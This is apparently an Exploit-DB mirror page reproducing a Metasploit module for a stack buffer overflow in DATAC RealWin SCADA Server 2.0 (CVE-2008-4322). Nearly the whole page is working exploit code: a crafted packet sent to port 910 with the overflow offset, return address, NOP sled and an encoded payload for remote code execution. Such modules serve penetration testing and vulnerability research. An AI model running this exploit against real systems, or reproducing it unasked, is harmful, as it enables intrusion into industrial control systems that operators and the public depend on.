DATAC RealWin SCADA Server – Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-05-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16385/
  • ##
    # $Id: realwin.rb 9262 2010-05-09 17:45:00Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in DATAC Control
    				International RealWin SCADA Server 2.0 (Build 6.0.10.37).
    				By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
    				an attacker may be able to execute arbitrary code.
    			},
    			'Author' => [ 'MC' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 9262 $',
    			'References' =>
    				[
    					[ 'CVE', '2008-4322' ],
    					[ 'OSVDB', '48606' ],
    					[ 'BID', '31418' ],
    				],
    			'Privileged' => true,
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Payload'=>
    				{
    					'Space'=> 550,
    					'BadChars' => "\x00\x20\x0a\x0d",
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
    				],
    			'DefaultTarget' => 0,
    			'DisclosureDate' => 'Sep 26 2008'))
    
    		register_options([Opt::RPORT(910)], self.class)
    	end
    
    	def exploit
    		connect
    
    		data =[0x67542310].pack('V')
    		data << [0x00000800].pack('V')
    		data << [0x000a77e3].pack('V')
    		data << [0x00040005].pack('V')
    		data << "\x00\x00"
    		data << make_nops(target['Offset'])
    		data << [target.ret].pack('V')
    		data << [0x00404040].pack('V')
    		data << payload.encoded
    		data << make_nops(1024)
    
    		print_status("Trying target #{target.name}...")
    		sock.get_once
    		sock.put(data)
    
    		handler
    		disconnect
    	end
    
    end